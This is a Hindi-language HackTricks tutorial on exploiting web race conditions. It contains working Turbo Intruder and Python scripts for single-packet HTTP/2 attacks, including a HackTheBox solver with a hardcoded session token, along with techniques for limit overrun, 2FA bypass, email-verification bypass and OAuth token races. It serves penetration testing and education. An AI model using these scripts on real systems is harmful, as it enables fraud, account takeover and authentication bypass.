Race Condition

Trickest का उपयोग करें और आसानी से वर्ल्ड के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो बनाएं और स्वचालित करें। आज ही पहुंचें:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

इस तकनीक को गहरी समझने के लिए मूल रिपोर्ट की जांच करें https://portswigger.net/research/smashing-the-state-machine

रेस कंडीशन हमले को बढ़ावा देना

रेस कंडीशन का लाभ उठाने की मुख्य बाधा यह है कि सुनिश्चित किया जाए कि कई अनुरोध समायोजित किए जाते हैं एक साथ, उनके प्रसंस्करण समय में बहुत कम अंतर हो—आदर्श रूप से, 1ms से कम

यहाँ आपको समकालिक आगमन के लिए कुछ तकनीक मिलेगी:

HTTP/2 Single-Packet हमला बनाम HTTP/1.1 अंत-बाइट समकालीकरण

  • HTTP/2: एक ही TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर प्रभाव को कम करता है। हालांकि, सर्वर-साइड विविधताओं के कारण, दो अनुरोध एक स्थिर रेस कंडीशन हमले के लिए पर्याप्त नहीं हो सकते।

  • HTTP/1.1 'अंत-बाइट सिंक': 20-30 अनुरोधों के अधिकांश हिस्से को पूर्व-भेजन की अनुमति देता है, एक छोटा टुकड़ा रोकता है, जिसे फिर साथ में भेजा जाता है, सर्वर पर समकालीन आगमन को प्राप्त करता है।

अंत-बाइट सिंक के लिए तैयारी शामिल है:

  1. स्ट्रीम समाप्त किए बिना हेडर और बॉडी डेटा भेजना अंतिम बाइट के बिना।

  2. प्रारंभिक भेजन के बाद 100ms के लिए ठहराव।

  3. अंतिम फ्रेम के बैचिंग के लिए Nagle's एल्गोरिथ्म का उपयोग करने के लिए TCP_NODELAY को अक्षम करना।

  4. कनेक्शन को गर्म करने के लिए पिंग करना।

बाधित फ्रेम्स के उसके भेजने के परिणामस्वरूप उनका एक ही पैकेट में आगमन होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि सामान्यत: आरसी हमलों में शामिल नहीं होने वाले स्थिर फ़ाइलों पर लागू नहीं होती है।

सर्वर वास्तुकला को समझना

लक्ष्य की वास्तुकला को समझना महत्वपूर्ण है। फ्रंट-एंड सर्वर अनुरोधों को विभिन्न रूपों में रूट कर सकते हैं, जो समय को प्रभावित कर सकता है। अर्थहीन अनुरोधों के माध्यम से पूर्वानुमानात्मक सर्वर-साइड कनेक्शन गर्म करना, अनुरोध समय को सामान्य कर सकता है।

सत्र-आधारित लॉकिंग का संभालन

PHP की सत्र हैंडलर जैसे फ़्रेमवर्क सत्र द्वारा अनुरोधों को serialize करते हैं, संभावनात: गोपनीयता छिपा सकते हैं। प्रत्येक अनुरोध के लिए विभिन्न सत्र टोकन का उपयोग इस समस्या को टाल सकता है।

दर या संसाधन सीमाएं पार करना

यदि कनेक्शन गर्म करना असफल है, तो वेब सर्वर की दर या संसाधन सीमाओं को जानबूझकर ट्रिगर करना, डमी अनुरोधों की बाढ़ के माध्यम से एक सिंगल-पैकेट हमले को सुविधाजनक बना सकता है, जो रेस कंडीशन के लिए उपयुक्त सर्वर-साइड देरी को उत्पन्न कर सकता है।

हमले के उदाहरण

  • Tubo Intruder - HTTP2 single-packet attack (1 endpoint): आप Turbo intruder में अनुरोध भेज सकते हैं (Extensions -> Turbo Intruder -> Send to Turbo Intruder), आप जिसे ब्रूट फ़ोर्स करना चाहते हैं उसके लिए अनुरोध में %s जैसे csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s जैसे मान को बदल सकते हैं और फिर ड्रॉप डाउन से examples/race-single-packer-attack.py का चयन कर सकते हैं:

यदि आप विभिन्न मान भेजने जा रहे हैं, तो आप क्लिपबोर्ड से शब्दसूची का उपयोग करने वाले इस कोड को संशोधित कर सकते हैं:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

यदि वेब HTTP2 का समर्थन नहीं करता है (केवल HTTP1.1), तो Engine.BURP2 की बजाय Engine.THREADED या Engine.BURP का उपयोग करें।

  • Tubo Intruder - HTTP2 single-packet attack (Several endpoints): यदि आपको RCE को ट्रिगर करने के लिए 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता है और फिर अन्य एंडपॉइंट्स पर कई अनुरोध भेजने की आवश्यकता है, तो आप race-single-packet-attack.py स्क्रिप्ट को निम्नलिखित के समान कुछ बदल सकते हैं:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • यह भी रिपीटर में उपलब्ध है बर्प सुइट के नए 'समूह को समयानुसार भेजें' विकल्प के माध्यम से।

  • सीमा-अतिक्रमण के लिए आप बस समूह में एक ही अनुरोध 50 बार जोड़ सकते हैं।

  • कनेक्शन वार्मिंग के लिए, आप वेब सर्वर के कुछ गैर स्थिर हिस्सों के लिए समूह की शुरुआत में कुछ अनुरोध जोड़ सकते हैं।

  • एक अनुरोध और दूसरे के बीच प्रक्रिया को देर करने के लिए, आप दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं।

  • एक बहु-इंडपॉइंट आरसी के लिए आप छिपे हुए स्थिति को जाने वाले अनुरोध भेजना शुरू कर सकते हैं और फिर इसके बाद 50 अनुरोध भेज सकते हैं जो छिपी हुई स्थिति का शोषण करते हैं।

  • स्वचालित पायथन स्क्रिप्ट: इस स्क्रिप्ट का उद्देश्य एक उपयोगकर्ता के ईमेल को बदलना है जब तक नए ईमेल का सत्यापन टोकन पिछले ईमेल पर पहुंचता नहीं है (यह इसलिए क्योंकि कोड में एक आरसी दिखाई दी गई थी जहां ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने ईमेल पर भेजा गया क्योंकि ईमेल को दर्शाने वाले चर को पहले से ही भर दिया गया था)। जब हमें प्राप्त ईमेल में "उद्देश्य" मिलता है तो हमें पता चलता है कि हमने बदले गए ईमेल का सत्यापन टोकन प्राप्त कर लिया है और हम हमला समाप्त कर देते हैं।

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

कच्चा बीएफ

पिछले अनुसंधान से पहले ये कुछ payloads इस्तेमाल किए गए थे जो केवल एक RC को उत्पन्न करने के लिए पैकेट्स को जितनी जल्दी संभव हो भेजने की कोशिश करते थे।

  • Repeater: पिछले खंड से उदाहरण देखें।

  • Intruder: Intruder को request भेजें, Options menu में number of threads को 30 पर सेट करें, Null payloads को payload के रूप में चुनें और 30 जेनरेट करें।

  • Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

सीमा-अतिरेक / TOCTOU

यह सबसे मूल तरह की रेस कंडीशन है जहाँ कमी होती है जो किसी कार्रवाई को कितनी बार कर सकते हैं। जैसे एक ही डिस्काउंट कोड को वेब स्टोर में कई बार उपयोग करना। एक बहुत ही सरल उदाहरण इस रिपोर्ट या इस बग में पाया जा सकता है।

इस प्रकार के हमले कई प्रकार के होते हैं, जैसे:

  • एक गिफ्ट कार्ड को कई बार रिडीम करना

  • उत्पाद को कई बार रेट करना

  • अपने खाता शेष राशि से अधिक निकालना या स्थानांतरित करना

  • एक ही CAPTCHA समाधान का पुनः उपयोग करना

  • एक एंटी-ब्रूट-फोर्स दर सीमा को छलकरना

छिपी हुई उप-स्थितियाँ

जटिल रेस कंडीशन का शोषण करना अक्सर छिपी हुई या अनजान मशीन उप-स्थितियों के साथ बातचीत के संक्षिप्त अवसरों का लाभ उठाने का सामर्थ्य शामिल होता है। यहाँ इसका कैसे निर्धारण करें:

  1. छिपी हुई उप-स्थितियों की पहचान करें

  • सर्वर-साइड स्थायी डेटा को संशोधित या बातचीत करने वाले अंत-स्थितियों को निशाना बनाने से शुरू करें, जैसे उपयोगकर्ता प्रोफ़ाइल या पासवर्ड रीसेट प्रक्रियाएँ। ध्यान दें:

  • स्टोरेज: उन अंत-स्थितियों को पसंद करें जो सर्वर-साइड स्थायी डेटा को संचालित करते हैं उनके बजाय जो डेटा को क्लाइंट-साइड संभालते हैं।

  • क्रिया: मौजूदा डेटा को बदलने वाली क्रियाओं की खोज करें, जो उनसे अधिक उपयोगी स्थितियाँ बनाने की संभावना है जो नए डेटा जोड़ने वाले की तुलना में।

  • कींग: सफल हमले आम तौर पर एक ही पहचानकर्ता पर आधारित क्रियाओं को शामिल करते हैं, जैसे उपयोगकर्ता नाम या रीसेट टोकन।

  1. प्रारंभिक जांच करें

  • निशानित अंत-स्थितियों को रेस कंडीशन हमलों से जांचें, अपेक्षित परिणामों से किसी भी भिन्नताओं के लिए ध्यान दें। अप्रत्याशित प्रतिक्रियाएँ या एप्लिकेशन के व्यवहार में परिवर्तन एक संकट संकेत कर सकते हैं।

  1. संकट को प्रदर्शित करें

  • संकट को उत्पन्न करने के लिए आवश्यकता होने पर हमले को न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर केवल दो। इस कदम में सटीक समयिका के कारण कई प्रयासों या स्वचालन की आवश्यकता हो सकती है।

समय संवेदनशील हमले

अनुरोधों में समयिका में सटीकता खोज सकती है, विशेषकर जब सुरक्षा टोकन के लिए समय-चिह्नों जैसे पूर्वानुमानित विधियों का उपयोग किया जाता है। उदाहरण के लिए, समय-चिह्नों पर आधारित पासवर्ड रीसेट टोकन उत्पन्न करना समयिका के लिए एक ही टोकन को समान समय में अनुरोधों के लिए संभव बना सकता है।

उत्पादन के लिए:

  • समान समयिका के लिए एकल पैकेट हमले का उपयोग करें, साथ ही पासवर्ड रीसेट अनुरोध करें। समान टोकन एक संकट का संकेत देते हैं।

उदाहरण:

  • एक समय में दो पासवर्ड रीसेट टोकन का अनुरोध करें और उन्हें तुलना करें। मेल खाता पुष्टि में दोष सुझाते हैं।

इसे जांचें PortSwigger Lab करने के लिए।

छिपी हुई उप-स्थितियों के मामले का अध्ययन

आइटम भुगतान और जोड़ना

देखें PortSwigger Lab कि कैसे एक स्टोर में भुगतान करें और एक अतिरिक्त आइटम जोड़ें जिसके लिए आपको भुगतान करने की आवश्यकता नहीं होगी

अन्य ईमेल पुष्टि करें

विचार यह है कि एक ईमेल पता सत्यापित करें और उसे एक साथ एक नए ईमेल पते पर बदलें ताकि पता चले कि प्लेटफ़ॉर्म नया जो बदल गया है उसे सत्यापित करता है।

2 ईमेल पतों के लिए ईमेल बदलें कुकी आधारित

इस शोध के अनुसार Gitlab इस प्रकार से लेने योग्य था क्योंकि यह एक ईमेल सत्यापन टोकन को दूसरे ईमेल पर भेज सकता था

इसे जांचें PortSwigger Lab करने के लिए।

छिपी हुई डेटाबेस स्थितियाँ / पुष्टि बाइपास

यदि 2 विभिन्न लेखन का उपयोग डेटाबेस में जानकारी जोड़ने के लिए किया जाता है, तो एक छोटे समय का अंश होता है जब केवल पहला डेटा डेटाबेस में लिखा गया होता है। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है तो उपयोगकर्ता नाम और पासवर्ड लिखा जा सकता है और फिर नए खाता सत्यापित करने के लिए टोकन लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए खाता सत्यापित करने के लिए टोकन शून्य होता है

इसलिए एक खाता पंजीकरण करना और खाता सत्यापित करने के लिए कई अनुरोध भेजना (token= या token[]= या किसी अन्य विविधता) तात्काल खाता सत्यापित करने की अनुमति दे सकता है जहाँ आपके पास ईमेल का नियंत्रण नहीं है।

इसे जांचें PortSwigger Lab करने के लिए।

2FA को बाइपास करें

निम्नलिखित प्यूडो-कोड रेस कंडीशन के लिए संकटपूर्ण है क्योंकि एक बहुत छोटे समय के लिए 2FA लागू नहीं होता जब सत्र बनाया जाता है:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 शाश्वत स्थिरता

कई OAUth प्रदाताएं हैं। ये सेवाएं आपको एक एप्लिकेशन बनाने और प्रमाणित करने की अनुमति देंगी जिन उपयोक्ताओं को प्रदाता ने पंजीकृत किया है। इसे करने के लिए ग्राहक को अपने डेटा तक पहुंचने की अनुमति देनी होगी। तो, यहाँ तक सिर्फ एक सामान्य लॉगिन गूगल/लिंक्डइन/गिथब... जहां आपको एक पृष्ठ के साथ प्रोम्प्ट किया जाता है: "एप्लिकेशन <InsertCoolName> आपकी जानकारी तक पहुंचना चाहता है, क्या आप इसे अनुमति देना चाहते हैं?"

authorization_code में रेस कंडीशन

समस्या उत्पन्न होती है जब आप इसे स्वीकार करते हैं और स्वचालित रूप से एक authorization_code को दुरुपयोगी एप्लिकेशन को भेजते हैं। फिर, यह एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए एक से अधिक AT/RT (प्रमाणीकरण टोकन/ताजगी टोकन) authorization_code से उत्पन्न कर सके। मुख्य रूप से, यह आपके डेटा तक पहुंचने की अनुमति देने के बाद आपके एकाउंट बनाने का दुरुपयोग करेगा। फिर, अगर आप एप्लिकेशन को अपने डेटा तक पहुंचने की अनुमति देना बंद कर देते हैं तो एक जोड़े AT/RT को हटा दिया जाएगा, लेकिन अन्य वालिड रहेंगे।

Refresh Token में रेस कंडीशन

एक बार जब आपने एक वालिड RT प्राप्त किया है तो आप इसे दुरुपयोग करने के लिए कई AT/RT उत्पन्न करने की कोशिश कर सकते हैं और यदि उपयोक्ता दुरुपयोगी एप्लिकेशन के डेटा तक पहुंचने की अनुमति रद्द कर देता है तो कई RTs वालिड रहेंगे।

वेबसॉकेट में RC

WS_RaceCondition_PoC में आप एक PoC जावा में पाएंगे जो पैरलल में वेबसॉकेट मैसेज भेजने के लिए Race Conditions का दुरुपयोग करने के लिए है।

संदर्भ

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और आसानी से वर्कफ़्लो बनाएं और सक्रिय करें जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं। आज ही पहुंच प्राप्त करें:

Last updated